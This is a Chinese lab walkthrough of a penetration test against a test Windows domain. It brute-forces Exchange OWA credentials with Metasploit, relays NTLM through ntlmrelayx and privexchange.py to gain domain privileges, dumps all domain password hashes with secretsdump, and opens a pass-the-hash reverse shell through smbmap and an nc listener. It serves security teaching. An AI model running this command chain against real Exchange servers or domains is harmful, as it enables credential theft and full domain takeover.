当前位置:网站首页>网络安全——使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试
网络安全——使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试
2022-07-24 13:32:00 【Beluga】
使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux

Windows 2012-1

Windows 2012-2

由于Windows 2012-2安装了Exchange Server 2013,所以开机会比较慢,请耐心等待10-20分钟。登录Windows 2012-1时需将密码改为[email protected]。
另外时钟不同步将导致用户无法登陆ECP(控制面板),我们在服务器的桌面上存放有一个文本,包含了用于联网同步域控服务器与邮件服务器时钟的命令,在开始实验前,务必先执行此命令联网同步两个服务器的时钟。(w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update)具体步骤如下:
1.打开文本后复制第二行的命令至命令提示符并执行,注意此操作需要联网进行;
2.设置域控服务器中DNS服务器,为邮件服务器做正向解析,若出现无法解析DNS,可通过使用命令ipconfig /flushdns来清空DNS缓存记录。
第二步,进入Kali渗透机使用命令route add default gw 172.16.1.200 eth0添加一条默认路由至域控服务器,(需根据实际分配到的域控IP地址来添加)然后使用命令route -n查看当前路由表,

修改/etc/resolv.conf文件,将nameserver指向域控所在的ip地址,

这样就能使渗透机Kali Linux能够访问域网络。接下来我们使用nmap扫描器进行惯例的扫描,结果如下:(只截取部分关键信息)



发现目标服务器中存在smtp服务,安装有Microsoft Exchange邮件服务,枚举出的操作系统版本为Windows Server2012 R2,这也与我们的实际情况相同。
第三步,通过Exchange的用户交互接口(owa/ews)来枚举目标Exchange服务的弱口令账户,使用命令msfconsole启动metasploit渗透测试平台,使用命令search owa_ews_login搜索暴力枚举模块,通过返回的结果得到模块的完整路径为:auxiliary/scanner/http/owa_ews_login,
接下来在终端中输入:
-- msf > use auxiliary/scanner/http/owa_ews_login
-- msf auxiliary(owa_ews_login)>set RHOSTS Mail.pyseclabs.com
-- msf auxiliary(owa_ews_login)>set USERNAME admin
-- msf auxiliary(owa_ews_login)>set PASS_FILE 2.txt
-- msf auxiliary(owa_ews_login)>exploit

进行关键参数的配置,设置目标靶机地址、用户名(admin)、密码字典

得到Exchange弱口令账户的用户名和密码。接下来尝试使用该账户访问Exchange页面—https://Mail.pyseclabs.com/owa,注意再账户名前面需加上域名。

登录成功后,发现该邮箱账户可能为服务搭建完成后留存下来的测试账户,

通常邮箱服务的渗透会围绕着社工渗透测试展开,为了提升员工安全意识,在某些渗透测试时,往往还会要求渗透测试人员对企业内的邮箱账户做邮件钓鱼测试。钓鱼邮件内容不限,可以自由发挥,如复制 owa 界面制作钓鱼页面等。当然本次课程中的渗透测试主要围绕Exchage邮箱服务器的SSRF漏洞来展开,对于社工不在此展开。
第四步,首先在本机启动NTLM中继,进入/root/impacket-master/目录中,

进入impacket-master的examples目录,使用命令python ntlmrelayx.py -t ldap://pyseclabs.com --escalate-user admin,

其中pyseclabs.com为域的名称,--escalate-user的参数是Exchange的普通权限的用户名,也就是之前获得的普通用户的用户名。
第五步,执行提取脚本,进入/root/PrivExchange-master/目录,找到提权脚本Privexchange.py<

使用命令python privexchange.py -ah 172.16.1.100 Mail.pyseclabs.com -u admin -p “[email protected]” -d pyseclabs.com

其中,参数-ah为指定渗透机的地址,后接Exchange服务器在域中的名称或IP地址,因此这里为172.16.1.100 Mail.pyseclabs.com,参数-u指定需要提权的Exchange的普通权限的用户名,参数-p指定Exchange的普通权限用户的密码;参数-d指定域的名称。若攻击成功,我们在回显信息中可以看到API call was successful的提示。实验到这一步,用户admin已经在pyseclabs.com域内拥有了高权限,接下来我们来到处域内所有用户的哈希值。
第六步,进入/root/impacket/examples目录中,找到导出hash信息的脚本secretsdump.py,

使用命令python secretsdump.py pyseclabs.com/[email protected] -just-dc,并输入用户admin的密码[email protected],

该工具在域渗透测试的过程中导出域内的hash是非常轻易的,当我们已经是域管理员权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作。这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如组中成员身份和用户。在得到域内用户的用户名和密码哈希后,可以使用常见密码破解程序进行破解,例如John the Ripper和Hashcat。为简化实验的流程,接下来我们直接通过hash传递攻击来反弹域管理员的shell到本地。
第七步,拿到管理员用户的hash后,尝试进行反弹shell利用,我们利用Kali Linux中内置的工具smbmap来进行实验。首先使用命令nc -lnvp 1886监听本地的端口,

另开一个终端使用命令,找到位于/root目录下的smb-hash.txt文件,使用vim编辑器打开查看一下,其中内容如下:

该代码来源于github网站——https://github.com/ShawnDEvans/smbmap
内容比较长,实际的功能是通过smbmap能远程执行命令的特性,运行一个具有反弹shell能力的Powershell脚本,简单介绍一下:
其中,参数-d指定域的名称:pyseclabs.com,参数-u指定域内用户的用户名:administrator,参数-p指定高权限用户密码的hash值:值省略,参数-H指定域控制器的ip地址:172.16.1.200,参数-x后面执行的命令:命令省略,参数AttackIP即为渗透机的ip地址,port为渗透机监听的端口。
命令修改完成后如下:(hash值暂缺)

填充hash值后执行:

命令执行成功后,我们回到nc监听的终端中观察,

会话成功建立。后面的渗透步骤我们可以配合Meterpreter一起使用。
边栏推荐
- Analysis of device restart jamming -reboot jamming
- Explain the edge cloud in simple terms | 2. architecture
- How can flinksql run in perjob mode on yarn? I submit tasks on SqlClient
- 编写浏览器插件
- Experience on how to improve the anti-interference of TTL (UART) communication
- Integer inversion of force deduction questions
- Recommended idling tools | comprehensive comparison of 10 spatial transcriptome deconvolution tools
- Mongodb uses mongotemplate operations to add, delete, modify, query, page, sort, aggregate (including embedded data), file upload and download
- 基于图正则化的贝叶斯宽度学习系统
- Redis (13) -- on master-slave replication of redis
猜你喜欢

Wang Ping, co-founder of Denglin Technology: Innovation + self research "dual core" drive, gpu+ enabling AI takes root | quantum bit · viewpoint sharing review

Network security - Web information collection

汉字风格迁移篇---用于汉字多字体生成的多样性正则化StarGAN

I 用c I 实现 大顶堆

基于boost库的搜索引擎

HCIP第十三天

网络安全——Web信息收集

Implementation of dynamic columns in EAS BOS doc list

Knowledge sharing | sharing some methods to improve the level of enterprise document management

如何生成预期数据?埃默里大学等最新《深度学习可控数据生成》综述,52页pdf涵盖346篇文献全面阐述可控生成技术体系
随机推荐
简易订单管理系统小练习
Chinese character style migration --- diversity regularization stargan for Chinese character multi font generation
Are there any useful and free redis client tools recommended?
如何用WebGPU流畅渲染百万级2D物体?
Relevant laws of animation movement (judge where to move according to parameters)
浅谈Node Embedding
C code specification
Basic operation of file
网络安全——WAR后门部署
Overview of multi view learning methods based on canonical correlation analysis
Introduction of embedded network interface scheme and summary of driver debugging methods
基于典型相关分析的多视图学习方法综述
基于boost库的搜索引擎
Simple use and difference of symmetric res, AES and asymmetric RSA (JWT)
Repair the problem of adding device groups and editing exceptions on easycvr platform
Network security - function bypass injection
Network security - Web information collection
Modern data architecture selection: Data fabric, data mesh
DDD based on ABP -- Entity creation and update
基于图正则化的贝叶斯宽度学习系统